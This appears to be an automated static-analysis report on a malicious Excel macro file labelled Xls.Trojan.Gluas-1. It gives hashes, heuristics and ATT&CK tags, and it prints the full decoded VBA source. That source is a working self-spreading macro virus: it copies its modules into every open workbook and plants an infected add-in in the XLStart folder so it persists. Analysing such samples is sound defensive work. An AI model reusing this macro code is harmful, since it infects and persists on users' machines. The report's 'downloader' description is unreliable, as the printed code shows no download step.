Xls.Trojan.Gluas-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 74e431931f7dfba9…

MALICIOUS

Office (OLE)

41.0 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 5a5e3b40d1f5581dcacecaca8a10bf6f SHA-1: c9f54ca3c8c057e9aeef3d83be0d0a91d1e157bc SHA-256: 74e431931f7dfba9e62f5412eb5fdd94ae812df9d1c58b07b333019ce4ffebce
160 Risk Score

Malware Insights

Xls.Trojan.Gluas-1 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros, with critical heuristics indicating the presence of an Auto_Open macro and a ClamAV detection for Xls.Trojan.Gluas-1. The Auto_Open macro is designed to execute automatically when the workbook is opened, suggesting an attempt to initiate malicious activity. The VBA code, though truncated, appears to be involved in adding new workbooks and potentially downloading or executing further stages, consistent with a trojan downloader.

Heuristics 4

  • ClamAV: Xls.Trojan.Gluas-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Gluas-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3816 bytes
SHA-256: 0b9a167e4d5a4b2eec8b44c1ecb61fe879b114ebf5169b9f47522cd1df80503e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "code1"
Dim X As New code

Sub Auto_Open()
    Set X.App = Application
If ThisWorkbook.Name = "personal1.xls" Then
If Windows.Count = "1" Then
ActiveWindow.Visible = False
End If
Workbooks.Add
End If
End Sub
 
 


Sub algus()
If ThisWorkbook.Name = "personal1.xls" Then rot = "1" Else rot = "0"
o = "0"
For Each k In Workbooks
If k.Name = "personal1.xls" Then
o = "1"
End If
Next k
If o = 0 Then
If rot = "1" Then GoTo t鋓sk鋓k
Workbooks.Add
ad = ActiveWorkbook.Name
If ad = "funces.xla" Then GoTo l鮬p
ThisWorkbook.VBProject.VBComponents("code").Export ("c:\1.bas")
ThisWorkbook.VBProject.VBComponents("code1").Export ("c:\2.bas")
Workbooks(ad).VBProject.VBComponents.Import ("c:\1.bas")
Workbooks(ad).VBProject.VBComponents.Import ("c:\2.bas")
Kill ("C:\1.bas")
Kill ("C:\2.bas")
Workbooks(ad).SaveAs FileName:="C:\Program Files\Microsoft Office\Office\XLStart\personal1.xls", FileFormat:=xlAddIn _
, ConflictResolution:=xlLocalSessionChanges
ActiveWindow.Visible = False
GoTo l鮬p
End If
t鋓sk鋓k:
a = Workbooks.Count
For c = 1 To a                                      'c on workbooki nr
e = 0
For Each d In Workbooks(c).VBProject.VBComponents   'module nimi
f = Workbooks(c).Name                        'f on konr nimi
If d.Name = "code" Then
e = 1                              'e inf v鮥 ei
Else
End If
Next d
If e = 1 Then
Else
ThisWorkbook.VBProject.VBComponents("code").Export ("c:\1.bas")
ThisWorkbook.VBProject.VBComponents("code1").Export ("c:\2.bas")
Workbooks(f).VBProject.VBComponents.Import ("c:\1.bas")
Workbooks(f).VBProject.VBComponents.Import ("c:\2.bas")
Kill ("C:\1.bas")
Kill ("C:\2.bas")
End If
Next c
l鮬p:
mtime = Date
If Month(mtime) = "11" And Day(mtime) = "17" Then
MsgBox ("Tere t鋘a on kellegil hea p鋏v")
End If
End Sub

Sub Auto_Close()
If ThisWorkbook.Name = "personal1.xls" Then
ThisWorkbook.Close SaveChanges:=False
End If
End Sub


Attribute VB_Name = "code"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Public WithEvents App As Application
Attribute App.VB_VarHelpID = -1




Sub InitializeApp()
    Set X.App = Application
End Sub


Private Sub App_WorkbookBeforeClose(ByVal Wb As Excel.Workbook, Cancel As Boolean)
code1.algus
End Sub

Private Sub App_WorkbookOpen(ByVal Wb As Excel.Workbook)
code1.algus
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.